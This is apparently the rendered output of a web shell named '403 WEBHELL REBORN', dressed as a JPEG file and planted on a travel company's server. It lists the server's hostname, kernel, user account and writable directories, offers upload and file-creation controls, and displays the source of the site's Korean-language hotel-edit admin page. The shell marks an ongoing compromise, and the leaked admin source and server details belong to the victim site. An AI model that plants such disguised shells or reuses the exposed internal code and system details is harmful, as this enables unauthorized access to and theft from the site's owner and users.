ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/hotel_tw/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/hotel_tw/hotel_edit.html
<? 
include "../include/top.html";
include "_common.php";

//언어구별(1차카테고리, 대륙선택시)
$lang = "tw";

$bc_arr = TO_get_bc("","N"," and tab = 'L' and b_lang='{$lang}' ");
$data = hotel_list(" and hseq='{$hseq}'  ");
$rows = hotel_list_replace($data[0]);

//지역코드
if ($rows['areaa_cd']) $data_areab = ($cf['tab']['L']=="Y") ? to_area_b($rows['areaa_cd'],""," and DelFlagH='N' "):to_area_b($rows['areaa_cd'],""," and DelFlag='N' "); // 국가
if ($rows['areab_cd']) $data_areac = ($cf['tab']['L']=="Y") ? to_area_c("",$rows['areab_cd'],"",""," and DelFlagH='N' "):to_area_c("",$rows['areab_cd'],"","N"); // 도시

//지하철 코드
if($rows['subway_city_cd']) $data_subway2 = base_codec("SUB",$rows['subway_city_cd']);
//$code_thema = base_codec("HTL","THEM");//목적구분

$code_equipment = base_codec("HTL","EQUP");//객실설비비품

$b_uid = $rows[b_uid];
$m_uid = $rows[m_uid];

// 특징아이콘
$special_arr = base_codec("TGO","TSPE","","N");

// 관리자목록
$admin_arr = member_fetch(" and mb_level <= 10  ");

// 숙박구분 
$data_hotel_div = base_codec("HTL","HLDC","","N");
?>

    <div class="contents_wrap">
    <div class="contents_wrap_in">
    	<div class="title"><?=$rows['hotel_nm']?><span class="arrow">&gt;</span><strong>기본 정보</strong></div>
      <div class="contents_detail">

		<div id="Content_box">
				<?
				include "_menu.html";
				?>
				<!-- 폼 -->
				<form name="frm_ins" id="frm_ins" method="post" enctype="multipart/form-data">
				<input type="hidden" name="SqlType" value="hotel_edit_base" />
				<input type="hidden" name="hseq" value="<?=$hseq?>" />
				<input type="hidden" name="seller_id" id="seller_id" value="<?=$rows['seller_id']?>" />
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register mt25 input300" summary="호텔의 기본정보를 수정합니다.">
        <caption>호텔 기본정보 수정</caption>
			<colgroup>
				<col width="170px;" />
				<col />
			</colgroup>
        <tbody>
        
		<?php if($cf['tab']['L']=="Y") {?>
    	<tr>
		   	<th scope="row"><label for="hotel_nm">카테고리</label></th>
      		<td>
				<select name="b_uid" id="b_uid" size="10" onchange="$('#ajax_sc').html('');ajax_obj_loader('../good/good_edit_category_ajax.html?mode=mc&b_uid='+this.value,'ajax_mc');" style="width:140px; background:none;">
				<option value="" style="background:#000000;color:#ffffff;">==1차카테고리==</option>
				<?php 
				for($i=0 ; $i<count($bc_arr) ; $i++) {
					$arr = $bc_arr[$i];
				?>
					<option value="<?=$arr['b_uid']?>" <?=($arr['b_uid']==$rows['b_uid'])?"selected":""?>>[<?=$arr['b_uid']?>] <?=$arr['b_name']?></option>
				<?
				}
				?>
				</select>
				<span id="ajax_mc"></span><!-- 2차 카테고리 -->
				<span id="ajax_sc"></span><!-- 3차 카테고리 -->
			</td>
      	</tr>
      	<?php }?>        
        
      	<tr>
      	<th scope="row"><label for="hotel_nm">호텔명</label></th>
      	<td>
					<strong class="pr10">중국어번체</strong><input name="hotel_nm" id="hotel_nm" type="text" size="35" class="input_text" hname="숙소명" style="width:267px"  required value="<?=$rows['hotel_nm']?>"/>&nbsp;
					<strong class="pr10">영문</strong><input name="hotel_nm_eng" id="hotel_nm_eng" type="text" size="35" class="input_text" style="width:267px"  value="<?=$rows['hotel_nm_eng']?>"/>
				</td>
      	</tr>
		<?if($rows['exchange_fg']=="Y"){?>
		<tr>
			<th scope="row">현재적용환율</th>
			<td>
					1<?=$rows['ext_eng']?>(<?=$rows['ext_nm']?>) → <?=$rows['ext_to_krw']?>KRW(원)
			</td>
		</tr>
		<?}?>      	
        <tr>
      	<th scope="row">호텔등급</th>
      	<td>
        <select name="level_cd" id="level_cd" class="lo_left">
					<option value="">==등급==</option>
				<?
					for($i=0 ; $i < count($data_hotel) ; $i++){
						$row = $data_hotel[$i];
				?>
				<option value="<?=$row['code']?>" <?=($rows['level_cd']==$row['code'])?"selected":""?>><?=$row['cd_nm']?></option>
				<?}?>
				</select>&nbsp;
        <span class="img_p" id="hotel_level_img"></span>
		</td>
		</tr>

        <tr>
      	<th scope="row">숙박구분</th>
      	<td>
					<select name="hotel_div_cd" id="hotel_div_cd" class="lo_left">
						<option value=""></option>
					<?
						for($i=0 ; $i < count($data_hotel_div) ; $i++){
							$v = $data_hotel_div[$i];
					?>
					<option value="<?=$v['code']?>" <?=($rows['hotel_div_cd']==$v['code'])?"selected":""?>><?=$v['cd_nm']?></option>
					<?}?>
					</select>
				</td>
      	</tr>

		<tr>
			<th scope="row">총객실수</th>
			<td><input name="room_count" id="room_count" type="text" value="<?=$rows['room_count']?>" class="input_text" /></th>
		</tr>

        <tr>
      	<th scope="row">지역</th>
      	<td>
				<select name="areaa_cd" id="areaa_cd" onchange="ajax_loader('../hotel/ajax_area_selbox.html?SqlType=areab&areaa_cd='+this.value,'ajax_areab_cd');" class="lo_left mr5">
					<option value="">==대륙==</option>
					<?
						for($i=0 ; $i < count($data_areaa_tw) ; $i++){
							$arr = $data_areaa_tw[$i];
					?>
					<option value="<?=$arr['Aidx']?>" <?=($arr['Aidx']==$rows['areaa_cd'])?"selected":""?>><?=$arr['ContinentName']?></option>
				<?}?>
				</select>
				<span id="ajax_areab_cd">
					<select name="areab_cd" id="areab_cd" onchange="ajax_loader('../hotel/ajax_area_selbox.html?SqlType=areac&areab_cd='+this.value,'ajax_areac_cd');" class="lo_left mr5">
					<option value="">==국가==</option>
					<?
						for($i=0 ; $i < count($data_areab) ; $i++){
							$arr = $data_areab[$i];
					?>
						<option value="<?=$arr['Bidx']?>" <?=($arr['Bidx']==$rows['areab_cd'])?"selected":""?>><?=$arr['NationName']?></option>
					<?}?>
					</select>
				</span>&nbsp;
				<span id="ajax_areac_cd">
					<select name="areac_cd" id="areac_cd" class="lo_left mr5">
					<option value="">==도시==</option>
					<?
						for($i=0 ; $i < count($data_areac) ; $i++){
							$arr = $data_areac[$i];
					?>
						<option value="<?=$arr['Cidx']?>" <?=($arr['Cidx']==$rows['areac_cd'])?"selected":""?>><?=$arr['CityName']?></option>
					<?}?>
					</select>
				</span>
				</td>
      	</tr>
        <tr>
      	<th scope="row"><label for="zipcode">주소</label></th>
      	<td>
					<?if(!$cf[no_post]){?>
					<input name="zipcode" id="zipcode" type="text" value="<?=$rows['zipcode']?>" class="input_text" style="width:114px;" readonly /> &nbsp;<a href="#" class="Table_btn gray" onclick="to_dialog.iframe('../include/zipfind.html?z1=zipcode&z2=address','우편번호검색','500','400',true,false);">우편번호검색</a><br/>
					<?}?>
        <label for="address" class="v_none2">주소입력</label>
        <input name="address" id="address" type="text" value="<?=$rows['address']?>" size="32" class="input_text mt5" />
        <label for="address_d" class="v_none2">상세주소입력</label>
        <input name="address_d" id="address_d" type="text" value="<?=$rows['address_d']?>" size="58" class="input_text mt5" /></td>
        </tr>
        <tr>
      	<th scope="row"><label for="tel">전화번호</label></th>
      	<td><input name="tel" id="tel" type="text" value="<?=$rows['tel']?>" style="width:365px;" class="input_text input610" /></td>
      	</tr>
        <tr>
      	<th scope="row"><label for="fax">팩스번호</label></th>
      	<td><input name="fax" id="fax" type="text" style="width:365px;" value="<?=$rows['fax']?>" class="input_text input610"/></td>
      	</tr>
        <tr>
      	<th scope="row"><label for="url">홈페이지</label></th>
      	<td><input name="url" id="url" type="text" style="width:365px;" value="<?=$rows['url']?>" class="input_text input610"/></td>
      	</tr>

        <tr>
      	<th scope="row"><label for="img1">대표이미지</label></th>
      	<td><div class="lo_left">
				<?if($rows['img1']){?><img src="<?=$rows['img1_path']?>" alt="지역이미지" width="150" height="100" style="cursor:pointer;" onClick="to_dialog.image('<?=$rows['img1_path']?>','<?=$rows['place_nm']?>')" /><?}?></div><div class="lo_left ml20 mt35"><input name="img1" id="img1" type="file" class="file_bd" /><span class="ml10">※ 넓이:높이 3:2 비율&nbsp;&nbsp;&nbsp;ex) 720px x 480px</span></div>
				</td>
      	</tr>
        <tr>
      	<th scope="row">호텔간략소개</th>
      	<td><textarea name="hotel_brief" id="hotel_brief" class="" style="width:95%; height:100px;" ><?=$rows['hotel_brief']?></textarea></td>
      	</tr>

        </tbody>
				</table>
				</form>
				<!-- /폼 -->

			<div class="btn_wrap_C mt30">
				<a class="Bbtn red" onClick="edit_frm();" href="javascript:;">수정</a>&nbsp;<a href="hotel_list.html?<?=$_href?>" class="Bbtn gray">목록보기</a>
			</div>

      </div>
      </div>
		</div>
    </div>
		<script Language="javascript">
		function edit_frm()
		{
			var f=document.frm_ins;
				
			// 폼체크
			var result = to_validation(f);
			if (result == false) return false;
			
			if(!confirm("수정하시겠습니까?")) return false;

			f.action = "hotel_proc.php?<?=$_href?>";
			f.submit();
		}
			
			//숙소등급이미지
			var hotel_arr = Array();
			<?
				for($i=0 ; $i < count($data_hotel) ; $i++){
			?>
				hotel_arr['<?=$data_hotel[$i]['code']?>'] = "<img src='<?=$data_hotel[$i]['cd_img']?>' alt='등급구분' />";
			<?}?>
			$("#level_cd").bind("change",function(){
				var code = $(this).val();
				$('#hotel_level_img').html(hotel_arr[code]);
			})

		//관광지코드 자동생성
		$(function(){
			$("#hotel_code_auto").bind("click",function(){
				if($(this).is(":checked")==true){
					$("input[name='hotel_code']").val("<?=$auto_str?>");
				}else{
					$("input[name='hotel_code']").val("");
				}
			});
		})

		var review_pop = false;

		$(document).ready(function(){
			// 카테고리 세팅
			ajax_obj_loader('../good/good_edit_category_ajax.html?mode=mc&b_uid=<?=$rows['b_uid']?>&m_uid=<?=$rows['m_uid']?>','ajax_mc'); // 2차 카텍고리 
			ajax_obj_loader('../good/good_edit_category_ajax.html?mode=sc&b_uid=<?=$rows['b_uid']?>&m_uid=<?=$rows['m_uid']?>&s_uid=<?=$rows['s_uid']?>','ajax_sc'); // 3차 카테고리 

			$('#review_find_icon').click(function (){
				var url = $('#review_url').val();
				if(url=='') return;
				if(review_pop) review_pop.close();
				review_pop = window.open('', 'review_pop');
				review_pop.location.href = url;
				review_pop.focus();
			});

			$('#hotel_level_img').html(hotel_arr['<?=$rows['level_cd']?>']);

			ajax_obj_loader('../include/category_ajax.html?mode=bc&md=<?=$cf[md]?>&b_uid=<?=$b_uid?>','ajax_bc');
			<?if($b_uid){?>
			ajax_obj_loader('../include/category_ajax.html?mode=mc&b_uid=<?=$b_uid?>&m_uid=<?=$m_uid?>','ajax_mc');
			<?}?>
		});
		</script>
<?
include "../include/footer.html";
?>


Anon7 - 2021